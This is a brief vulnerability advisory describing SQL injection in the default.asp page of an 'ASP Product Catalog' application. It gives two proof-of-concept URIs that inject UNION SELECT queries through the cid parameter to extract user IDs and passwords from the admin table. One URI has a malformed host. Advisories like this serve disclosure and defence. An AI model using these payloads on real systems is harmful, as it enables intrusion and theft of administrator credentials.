|
ASP Product Catalog Default.ASP SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following proof-of-concept URIs are available: http://www.example.com/Catalog/default.asp?cid=8%20union%20all%20select%20Password,User_ID,Password,User_ID,Password,User_ID,Password%20from%20admin# http://www.example.comdefault.asp?cid=-999 union select 0,user_id,password,3,4,5 from admin |
|
|
Privacy Statement |